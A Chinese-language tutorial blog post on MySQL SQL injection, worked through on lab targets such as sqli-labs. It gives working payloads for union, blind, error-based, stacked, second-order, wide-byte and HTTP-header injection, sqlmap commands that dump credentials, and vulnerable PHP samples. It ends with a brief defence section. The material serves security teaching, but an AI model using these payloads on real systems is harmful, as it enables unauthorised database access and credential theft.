0x00-引言
SQL注入需要有一點SQL基礎,博客主題生成的目錄有問題,點擊標題使用博客園生成的目錄舒服一點
SQL注入好多啊,終於在情人節前夕搞完了,也終於有時間陪......,cao,我沒女朋友
學習慢就是快,快就是慢
終身學習,直面恐懼 be in love with fear
0x01-漏洞描述
SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴格,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。【百度百科】
0x02-漏洞原理
在頁面中有數據交互的地方,攻擊者構造sql語句,使web服務器執行惡意命令訪問數據庫。
SQL注入漏洞滿足的兩個條件:
- 參數用戶可以控制
- 參數可以帶入數據庫查詢
構造語句是數據庫報錯,根據報錯判斷是否存在SQL注入
0x03-MySQL相關知識點
01-MySQL中information_schema
information_schema
數據庫是MySQL自帶的,它提供了訪問數據庫元數據的方式。什么是元數據呢?元數據是關於數據的數據,如數據庫名或表名,列的數據類型,或訪問權限等。有些時候用於表述該信息的其他術語包括“數據詞典”和“系統目錄”。
information_schema
實際上是視圖,而不是基本表,像軟鏈接一樣。就像一本書里面的目錄,包括整個數據庫里面的內容。
SCHEMATA表:提供了當前mysql實例中所有數據庫的信息。是show databases的結果取之此表。
TABLES表:提供了關於數據庫中的表的信息(包括視圖)。詳細表述了某個表屬於哪個schema,表類型,表引擎,創建時間等信息。是show tables from schemaname的結果取之此表。
COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結果取之此表。
STATISTICS表:提供了關於表索引的信息。是show index from schemaname.tablename的結果取之此表。
USER_PRIVILEGES(用戶權限)表:給出了關於全程權限的信息。該信息源自mysql.user授權表。是非標准表。
SCHEMA_PRIVILEGES(方案權限)表:給出了關於方案(數據庫)權限的信息。該信息來自mysql.db授權表。是非標准表。
TABLE_PRIVILEGES(表權限)表:給出了關於表權限的信息。該信息源自mysql.tables_priv授權表。是非標准表。
COLUMN_PRIVILEGES(列權限)表:給出了關於列權限的信息。該信息源自mysql.columns_priv授權表。是非標准表。
CHARACTER_SETS(字符集)表:提供了mysql實例可用字符集的信息。是SHOW CHARACTER SET結果集取之此表。
COLLATIONS表:提供了關於各字符集的對照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用於校對的字符集。這些列等效於SHOW COLLATION的前兩個顯示字段。
TABLE_CONSTRAINTS表:描述了存在約束的表。以及表的約束類型。
KEY_COLUMN_USAGE表:描述了具有約束的鍵列。
ROUTINES表:提供了關於存儲子程序(存儲程序和函數)的信息。此時,ROUTINES表不包含自定義函數(UDF)。名為“mysql.proc name”的列指明了對應於INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:給出了關於數據庫中的視圖的信息。需要有show views權限,否則無法查看視圖信息。
TRIGGERS表:提供了關於觸發程序的信息。必須有super權限才能查看該表
information_schema
中我們需要了解三張表,SCHEMATA
、TABLES
、COLUMNS
查詢表SCHEMATA
中存儲的庫名SCHEMATA_NAME
TABLES
中記錄了用戶創建的所有數據庫的庫名(TABLE_SCHEMA)和表名(TABLE_NAME)。用limit限制了查詢數量
COLUMNS
表中存儲了該用戶創建的所有數據庫的庫名(TABLE_SCHEMA
)、表名(TABLE_NAME
)和字段名(COLUMN_NAME
)
02-MySQL中的注釋符
MySQL支持3種注釋符
#
:注釋從#
字符到行尾- --:注釋從
--
序列到行尾,使用注釋時,后面需要跟一個或多個空格 /**/
:注釋/**/中間的字符,若/**/
中間有感嘆號,則有特殊意義,如/*!55555,username*/
,若mysql版本號高於或等於5.55.55,語句將會被執行,如果!后面不加入版本號,mysql將會直接執行SQL語句
03-MySQL函數利用
database():當前網站使用的數據庫
version():當前MySQL的版本
user():當前MySQL的用戶
0x04-SQL注入類型
思路:
01-判斷漏洞類型(字符型和數字型)
02-爆庫名
03-報表名
04-爆字段
05-爆數據值
萬能密碼:
username: 1' or '1'='1
password: 1' or '1'='1
手注模板:
id=1 #判斷注入點
id=1' #判斷注入點
id=1' and 1=1 #判斷注入點
id=1' and 1=2 #判斷注入點
id=1' order by 3 --+ #判斷字段數
id=-1' union select 1,database(),user() --+ #查詢庫名與用戶
id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ #查詢表名
?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' ) --+ #查詢字段名
id=-1' union select 1,database(),(select group_concat(id,email_id) from emails ) --+ #查詢數據
00-數字型與字符型
SQL注入可分為字符型和數字型,其他類型都是這兩大類的不同展現形式和不同展現位置。也可分四種,分別為:union聯合注入、Boolran布爾盲注、time時間盲注、報錯注入。
數字型猜測SQL語句為select * from table where id=8
測試語句
id=2 #原始請求
id=2' #頁面出現異常,則進行下一步測試
id=2 and 1=1 #語句執行正常,返回數據與原始請求無任何差異
id=2 and 1=2 #語句執行正常,但無法查詢出數據,and1=2始終為假,所以返回數據與原始數據有差異
以上測試都滿則可能存在SQL注入漏洞
字符型猜測SQL語句為select * from table where username='admin'
字符型注入要注意字符串閉合問題
數據庫不同,字符串的連接符也不同,如SQL Server連接符號為+
,Oracle連接符為||
,Mysql連接符為空格。
01-Union注入
01-Mysql中Union用法
Mysql允許復合查詢(多個SELECT語句並列查詢),並將返回單個結果集。這些組合查詢通常稱為並或復合查詢。
select username from admin UNION select password from admin;
UNION規則:
- UNION必須由兩條以上select語句組成,語句之間用關鍵詞UNION分割
- UNION中的每個查詢必須包含相同的列、表達式或聚集函數(各個列不需要以相同的次序列出)
- 不去重用UNION ALL
- 使用UNION語句只能使用一條order by語句,且order by放在最后一條select語句后面
02-sali-labs靶場演示
判斷注入點-存在注入
?id=1
?id=1'
?id=1' and 1=1 --+
?id=1' and 1=2 --+
判斷字段數
?id=1' order by 3 --+
union查詢庫名和用戶
?id=-1' union select 1,database(),user() --+
查詢表名
?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security' ) --+
查詢字段
?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' ) --+
查詢數據
id=-1' union select 1,database(),(select group_concat(id,email_id) from emails ) --+
03-ms08067靶場演示
ms08067靶場
構造語句查詢,存在漏洞
order by 判斷字段數
可以看到6個字段時,不出錯
第七個字段數出錯,可以判斷字段數為七個
union查看哪兩個字段位置可以查詢數據
2和4可以查詢數據-插入database()和version函數
使用的庫為test,Mysql版本號為5.5.53
查詢使用的表
04-SQLMAP注入
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-1/?id=1" --batch -D security -T users -C id,password,username -dump
02-Union注入代碼分析
<?php
$con=mysqli_connect("localhost","root","root","test");
// 檢測連接
if (mysqli_connect_errno())
{
echo "連接失敗: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from users where `id`=".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['username'] . " " . $row['address'];
echo "<br>";
}
?>
后端程序用於接收前端輸入的參數id,將id的值拼接到select * from users where id =
后,構造變量id= 1 union select 1,2,3時,后端用於查詢數據庫的語句為select * from users where id = 1 union select 1,2,3
,union 后面為另一條select語句可以查詢數據庫的數據。
03-Boolean注入
布爾盲注就是猜測,根據頁面返回的true和flase猜數據庫總數,猜數據庫長度,猜數據庫名字,猜數據庫長度,猜數據庫內容,然后就是猜表和字段。盲注最快的方法就是用工具跑。
靶場sql-labs的less8
Boolean注入常用函數
length(str):返回str字符串的長度。substr(str, pos, len):將str從pos位置開始截取len長度的字符進 行返回。注意這里的pos位置是從1開始的,不是數組的0開始mid(str,pos,len):跟上面的一樣,截取字符串ascii(str):返回字符串str的最左面字符的ASCII代碼值。ord(str):返回ascii碼if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
01-Boolean注入演示
id=1
id=1'不顯示數據
可能存在布爾盲注
構造payload測試數據庫長度
id=1%27and%20length(database())=1%23
不顯示
id=1%27and%20length(database())=8%23
顯示,說明存在布爾盲注且數據庫的長度為8
判斷數據庫名
?id=1' and substr(database(),1,1)='s' --+
抓包爆破數據庫名第一位
爆破多位數據庫名
爆出數據庫名security
爆表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+
爆出第一個表名emails
修改limit后面的值可以查詢其他表的名稱
爆字段名
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='d' --+
爆出第一個字段id,接着爆第二字段,修改limit后面的值為limit 1,1
爆字段內容
?id=1' and substr((select email_id from emails limit 0,1),1,1)='x' --+
爆出郵箱dumb@dnakkan.com
查看數據庫與爆出來的內容對比-一模一樣
sqlmap跑布爾盲注-工具萬歲(那里有神魔大佬,不過是腳本小子罷了)
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-8/?id=1" -D security -T emails -C id,email_id --dump
04-Boolean注入代碼分析
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-8 Blind- Boolian- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-8.jpg" /></center>
</body>
</html>
前面是把注入id參數的值寫入TXT文件中。\(sql是一句sql語句,\)result是mysql_query執行sql語句的結果,$row是mysql_fetch_array生成的數組。從前端輸入參數id的值,后端查詢數據庫,sql-labs的盲注就是不顯示報錯信息,只有成功的顯示(true)和不成功的不顯示(flase)
05-時間注入
時間盲注和布爾盲注很像,頁面不返回任何信息,采用延遲函數根據頁面反應的時間進行判斷是否存在注入點。服務器負載和網絡速度會對響應時間產生巨大影響。延遲足夠長的時間可以排除這些影響。
延遲注入函數:
sleep #延遲函數benchmark(count,expr) #count:運行次數 expr:運行的命令 通過多次運行產生延時笛卡爾積 #count(*),通過計算表中數據的數量產生延遲get_lock(str,timeout) #對一個字符上鎖,在新回話開啟后,再次使用這個字符會有延時if(condition,true,false) #條件語句if表達式:if(expr1,expr2,expr3) #expr1為條件,expr2和expr3為返回值。和if判斷語句一樣
01-時間注入演示
sqli-labs-less9,時間盲注
測試語句也可以使用下圖中語句(已知數據庫第一個字母)
?id=1' and if(length(database())>1,sleep(6),1) --+
查看頁面響應的時間可以看出存在延遲注入
爆數據庫名-security
?id=1' and if(substr(database(),1,1)='s',sleep(6),1) --+
爆表名-emails
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(6),1) --+
爆字段名-id(第一個字段)-email_id(第二個字段)
?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='d',sleep(6),1) --+
爆字段內容-dumb@dhakkan.com
?id=1' and if(substr((select email_id from emails limit 0,1),1,1)='x',sleep(6),1) --+
查看數據庫內容與爆出的內容對比-一模一樣
sqlmap跑時間盲注-工具就是好用
banner信息-數據庫名-表名-字段名-字段內容
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-9/?id=1" -D security -T emails -C id,email_id -dump
06-時間注入代碼分析
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind- Time based- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-9.jpg" /></center>
</body>
</html>
The same as Boolean injection.One more line of echo(You are in).So 不管對錯都顯示You are in ........
07-報錯注入
靶場:MS08067
報錯注入是利用數據庫報錯機制,人為的制造錯誤,使查詢結果出現在報錯信息中。
思路:
01-先判斷是否存在漏洞(id=1')看報錯02-構造錯誤語法03-爆表名04-爆字段05-爆數據名06-爆數據值
報錯注入相關函數:
updatexml()函數
updatexml(Xml_document,Xpathstring,new_value)
Xml_document:目標文檔
Xpathstring:路徑
new_value:更新的值
爆數據庫名:
username=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
爆數據庫表名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+
爆字段名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
爆數據值:
username=1' and updatexml(1,substring(concat(0x7e,(select group_concat(username,0x3a,password,0x3a) from test.users),0x7e),32,64),1) --+
extractvalue()函數
extractvalue(Xml_document,XMLstring)
Xml_document:目標文檔
Xpathstring:XML路徑
爆數據庫名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+
爆數據庫表名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test')))) --+
爆字段名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'))))--+
爆數據值:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) --+
floor()函數
MYSQL用來取整的函數
用法
爆數據名:username=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
01-MS08067靶場演示
以updatexml()函數為例
測試是否存在報錯注入
爆數據庫名
爆數據庫表名
爆字段名
爆數據
SQLMAP跑報錯注入
SQLMAP檢測出存在布爾盲注、時間盲注和報錯注入
直接跑出數據
08-報錯注入代碼分析
<?php
$con=mysqli_connect("localhost","root","root","test");
// 檢測連接
if (mysqli_connect_errno())
{
echo "連接失敗: " . mysqli_connect_error();
}
$username = $_GET['username'];
$sql = "select * from users where 'username'='$username'";
if($result = mysqli_query($con,$sql)){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
mysqli_error會打印出數據庫報錯信息
09-堆疊查詢注入
多條SQL語句一起執行,每條語句中間用;隔開---(Stack Injection)
堆疊注入毫無限制,為所欲為
靶場:sqli-labs--less42
01-靶場演示
在所在的光陰時間內,我們要用有限的時間內去實現自身價值,正所謂詩酒趁年華,偏於一隅只會讓我們故步自封。
username:aaa
password:bbb';insert into users(id,username,password) values(60,'root','root')#
放入表單-提交
回到登錄頁面-填入注入的賬號密碼登錄
進入數據庫查看注入數據-security-users
成功
SQLMAP跑表單注入
- --form模式 sqlmap.py -u "192.168.234.139/login.php" --form
- sqlmap.py -u "192.168.234.139/login.php" --data "username=admin&password=123123" --flush-session
- sqlmap.py -r c:\數據包.txt
這里我采用第一種模式
10-堆疊查詢注入代碼分析
可以看到在用戶名出進行轉義,但是在密碼處不存在轉義,直接使用POST提交,造成堆疊注入
11-二次注入
將攻擊語句寫入數據庫,等待其他功能從數據庫中調用攻擊語句,在其他功能語句拼接的過程中沒有過濾嚴格從而造成SQL注入
原理:
- 攻擊者第一次提交惡意輸入
- 惡意輸入存入數據庫
- 攻擊者二次提交輸入
- 為了響應第二次的輸入程序查詢數據庫取出惡意輸入構造SQL語句形成二次注入
靶場:sqli-labs--less24
01-演示
此頁面經檢測此頁面無SQL注入
點擊new user click here注冊一個用戶
username: admin'#
password: 123
填入表單,提交
5秒后會跳到登錄頁面
登錄
查看數據庫-數據建立成功
修改密碼為123456
再次查看數據庫-在此處發生二次注入
可以看到admin'#的密碼沒有被修改,修改的為admin'#的密碼
二次注入本人用SQLMAP跑不出來,請帶佬指點
詳情請見代碼分析
12-二次注入代碼分析
登錄頁面代碼分析
可以看到在接收前端參數的位置都有mysql_real_escape_string轉義\
,轉義符\
在存入數據庫的時候會被還原。由上圖代碼可以判斷不存在sql注入
注冊新用戶頁面代碼分析
可以看到也都存在函數進行轉義,so 也不存在注入點
修改密碼頁面分析-妹子別走下面就是重點了
可以看到在填入用戶名處沒有過濾,此前我們注冊新用戶名為惡意輸入admin'#
,此處就是二次注入的點。
接下來分析數據庫中SQL語句的執行情況
使用Seay代碼審計系統對Mysql進行監控-Github下載
在注冊用戶時,數據庫執行的語句為-可以看到在users表中添加用戶admin'#,注意此處顯示有轉義符,但是寫入數據庫中的不帶有轉義符
insert into users ( username, password) values("admin\'#", "123")
在更新密碼處執行的sql語句為
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='123'
#
號后面的語句被注釋-最終執行的語句為以下-因此修改的是用戶admin的密碼
UPDATE users SET PASSWORD='123456' where username='admin'
二次注入就是一戰打基礎,二戰985
13-寬字節注入
寬字節注入是通過編碼繞過后端代碼的防御措施,列如正則過濾和轉義函數轉義。
客戶端采用GBK編碼格式,數據庫對用戶輸入進行轉義\
,轉義符\
的編碼為%5c,添加編碼%df,組成%df%5c,此時編碼表達為繁體字連,從而繞過轉義符讓'
逃逸。
GB2312、GBK、GB18030、BIG5等都是寬字節,寬字節的安全問題是使ASCII(一字節)變成寬字節
mysql的轉義函數有addslashes,mysql_real_escape_string,mysql_escape_string等
show create database 數據庫名 #查看數據庫編碼格式
01-演示
靶場:sqli-labs ---less36(基於寬字符逃逸的GET型注入)
后端過濾采用函數為mysql_real_escape_string,它會轉義字符串中的特殊字符,例如:
\x00 \n \r \ ' " \x1a
判斷閉合符號-靶場已知-實戰要多嘗試
判斷是否存在漏洞
?id=1%df%27 and 1=1 --+?id=1%df%27 and 1=2 --+
1=1時為真可以查詢出數據,1=2時為假查不出數據,存在SQL注入
判斷字段數為3
?id=1%df%27 order by 4--+
聯合注入搞起
group_concat():將group by產生的同一個分組中的值連接起來,返回一個字符串結果
為什么使用group_concat把值連接起來,因為頁面只能返回一行數據
思路:
- 嘗試出注入類型為寬字節注入
- 構造GBK編碼使轉義失效,讓
'
逃逸出去 - 查詢庫名、表名、字段名、然后是數據。嵌套查詢很重要
?id=-1%df%27 union select 1,database(),user() --+ #注出數據庫名和用戶
?id=-1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+ #查詢表名
?id=-1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,3)),database() --+ #查詢users中的字段名
?id=-1%df%27 union select 1,(select username from users limit 7,1),(select password from users limit 7,1) --+ #取出一組數據,取出全部用group_concat(username,password)
14-寬字節注入代碼分析
對於前端傳入的參數id,后端用mysql_real_escape_string()對參數id的值進行轉義。數據庫的編碼格式為GBK為寬字節,而轉義符\
(%5c)為一字節,我們再添加一字節編碼(%df)構造GBK編碼(%df%5c)使轉義符失效,讓'
逃逸出去從而閉合SQL語句中的id='$id',使插入的sql語句可以執行。
15-Cookie注入
Cookie注入就是Cookie處存在注入點,后端對Cookie沒有過濾
01-演示
靶場:sqli-labs---less20
登錄
判斷cookie注入類型-數字型和字符型
firefox插件工具:EditThisCookie
看到cookie的值判斷為字符型,開始判斷是否存在注入點
admin' and 1=1 --+ #顯示數據admin' and 1=2 --+ #不顯示數據
存在注入點-判斷字段數-使用union注入
admin' order by 3 --+
查詢庫名
ad' union select 1,database(),3 --+
查詢表名
ad' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
查詢字段
ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),3 --+
查詢數據
ad' union select 1,(select group_concat(id,email_id) from emails),3 --+
SQLMAP跑Cookie注入
注入探測等級為2
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-20/index.php" --cookie "uname=admin" --level 2 --batch -D security -T emails -C id,email_id -dump
16-Cookie注入代碼分析
可以看到在cookie處沒有任何過濾手段,直接從前端接收參數並帶入數據庫查找
17-base64注入
和其他注入一樣,多了個base64編碼解碼
01-演示
sqli-less---less-22 cookie注入之base64,和cookie注入一樣,多了個base64編碼
可以看到cookie顯示為base64編碼格式
%3D
為url編碼=
和cookie注入一樣,只是閉合變成了"
,注釋不能用--+要用#。然后再base64編碼
爆庫名
ad" union select 1,database(),3 #YWQiIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyAgIw==
查詢表名
ad" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyksMyAj
查詢字段
ad" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),3 #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2VtYWlscycpLDMgIw==
查詢數據
ad" union select 1,(select group_concat(id,email_id) from emails),3 #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGlkLGVtYWlsX2lkKSBmcm9tIGVtYWlscyksMyAgIw==
我們使用報錯注入,列如extractvalue()函數報錯注入,具體方法參考報錯注入
SQLMAP跑cookie base64加密注入
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-22/index.php" --cookie "uname=YWRtaW4=" --tamper base64encode.py --level 2 --batch --dbs
18-base64注入代碼分析
可以看到在接受到cookie時,只是簡單的base64_decode()函數解碼,並無其他過濾手段,然后直接帶入數據庫查詢。
19-XFF注入
http頭部注入的一種,頭部參數X-Forwarded-for它代表客戶真實IP,修改它的值可以偽造客戶端IP。和其他注入一樣,換了個注入點。
01-演示
靶場:MS08067
打開靶場:抓包
發現沒有X-Forwarded-for字段,那就自己添加
有返回值
加個分號,發現有報錯
判斷是否存在注入點-注釋符注意使用#,不能使用--+
127.0.0.1' and 1=1 #127.0.0.1' and 1=2 #
存在注入點-使用聯合注入和報錯注入都可以-以下使用報錯注入-因為不想使用聯合注入
查詢數據庫名
127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select database())))) #
查詢表名
127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test')))) #
查詢字段名
爆字段名:127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users')))) #
查詢數據
127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) #
SQLMAP跑XFF注入-抓包數據放入sqlmap.py同目錄的txt文件里面
標星號,sqlmap知道跑哪里
sqlmap.py -r bao.txt -batch -dbs
20-XFF注入代碼分析
getenv()函數用來獲取一個環境變量的值,如果值存在則返回值,如果不存在則返回flase,程序判斷http頭部參數HTTP_CLIENT_IP是否存在,存在就賦值給$ip,如果不存在,則依次判斷HTTP_X_FORWARDED_FOR、REMOTE_ADDR。
在sql語句查詢時,対賦值的$ip也沒有任何過濾,這樣就造成了XFF注入
21-User-Agent注入
HTTP頭部注入的一種,在字段User-Agent處存在注入。
01-演示
靶場:sqli-labs ---less18
填寫正確的賬號密碼,抓包
判斷注入點-猜測閉合方式
存在注入點
經判斷使用的注入方法是報錯注入,嘗試其他不可以,具體原因在代碼分析中解釋
查詢庫名
' or updatexml(1, concat('1', database()), 0), 1, 1) #
查詢表名-and也可以
' and updatexml(1, concat('1', (select group_concat(table_name) from information_schema.tables where table_schema=database() )), 0), 1, 1) #
查詢字段名
' and updatexml(1, concat('1', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )), 0), 1, 1) #
查詢數據值
' and updatexml(1, concat('1', (select group_concat(id,username,password) from users )), 0), 1, 1) #
SQLMAP跑user-agent注入
user-agent標星號
sqlmap.py -r bao.txt -batch -dbs
22-User-Agent注入代碼分析
可以看到,對於賬號密碼輸入都存在嚴格的過濾機制,而在\(uagent處不存在過濾機制,把\)insert拿出來分析
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
構造$uagent的值,也就是user-agent的值,同時也是惡意sql語句
' or updatexml(1, concat('1', database()), 0), 1, 1) #
拼接-最終數據庫執行語句
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' or updatexml(1, concat('1', database()), 0), 1, 1) #', '$IP', $uname)
Seay代碼審計系統檢測mysql執行語句為
報錯會拋給mysql_error()函數,最終打印在前端頁面
為什么使用union注入不可以?
對后端代碼小部分更改,發現$insert語句不返回值-報錯可以返回
23-referer注入
referer是HTTP請求頭Header的一部分。referer會告訴服務器該請求是從哪里來的,服務器基於可以獲得一些信息處理
referer注入也是http頭部注入的一種。
01-演示
靶場:sqli-labs ---less19
和User-Agent一樣的操作
登錄-抓包
話不多說,直接查庫名
' and updatexml(1, concat('1', database()), 0), 1, 1) #
查表名
' and updatexml(1, concat('1', (select group_concat(table_name) from information_schema.tables where table_schema=database() )), 0), 1, 1) #
查字段名
' and updatexml(1, concat('1', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )), 0), 1, 1) #
查數據值
' and updatexml(1, concat('1', (select group_concat(id,username,password) from users )), 0), 1, 1) #
SQLMAP跑referer注入
老規矩,把包放入txt文檔-星號標記referer的值
sqlmap.py -r bao.txt --level 3 --batch --banner
24-referer注入代碼分析
可以看到sqli-labs的referer注入的后端代碼和user-agent注入基本一致,賬號密碼處都有過濾機制,在接收referer處沒有過濾機制,因為數據庫的查詢結果不會輸出到頁面,而報錯可以輸出,所以使用報錯注入。
25-post注入和get注入的區別
- GET參數通過URL傳遞,POST放在Request body中
- GET請求只能進行url編碼,而POST支持多種編碼方式
- GET請求參數會被完整保留在瀏覽器歷史記錄里,而POST中的參數不會被保留
0x05-SQLMAP常用參數
樣例:
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-20/index.php" --cookie "uname=admin" --level 2 --batch --banner -D security -T emails -C id,email_id -dump
-u 指定目標URL (可以是http協議也可以是https協議)
-d 連接數據庫
–dbs 列出所有的數據庫
–current-db 列出當前數據庫
–tables 列出當前的表
–columns 列出當前的列
-D 選擇使用哪個數據庫
-T 選擇使用哪個表
-C 選擇使用哪個列
–dump 獲取字段中的數據
–batch 自動選擇yes
–smart 啟發式快速判斷,節約浪費時間
–forms 嘗試使用post注入
-r 加載文件中的HTTP請求(本地保存的請求包txt文件)
-l 加載文件中的HTTP請求(本地保存的請求包日志文件)
-g 自動獲取Google搜索的前一百個結果,對有GET參數的URL測試
-o 開啟所有默認性能優化
–tamper 調用腳本進行注入
-v 指定sqlmap的回顯等級
–delay 設置多久訪問一次
–os-shell 獲取主機shell,一般不太好用,因為沒權限
-m 批量操作
-c 指定配置文件,會按照該配置文件執行動作
-data data指定的數據會當做post數據提交
-timeout 設定超時時間
-level 設置注入探測等級
–risk 風險等級,默認風險等級為1,此等級在大多數情況下對測試目標無害。 風險等級2添加了基於時間的注入測試,等級3添加了OR測試
–identify-waf 檢測防火牆類型
–param-del=“分割符” 設置參數的分割符
–skip-urlencode 不進行url編碼
–keep-alive 設置持久連接,加快探測速度
–null-connection 檢索沒有body響應的內容,多用於盲注
–thread 最大為10 設置多線程
–delay 延時
–safe-url web服務器會在多次錯誤的訪問請求后屏蔽所有請求,使用–safe-url 就可以每隔一段時間去訪問一個正常的頁面
–level level有5個等級,默認等級為1,進行Cookie測試時使用–level 2 ,進行use-agent或refer測試時使用–level 3 ,進行 host 測試時使用–level 5
–tamper ["腳本名稱"] 腳本在tamper目錄下面,調用多個腳本用逗號隔開
0x06-SQL注入防御
01-預編譯
防御SQL注入的最佳方式就是使用預編譯語句,綁定變量,預編譯可以提高數據庫效率,減少編譯次數和連接次數
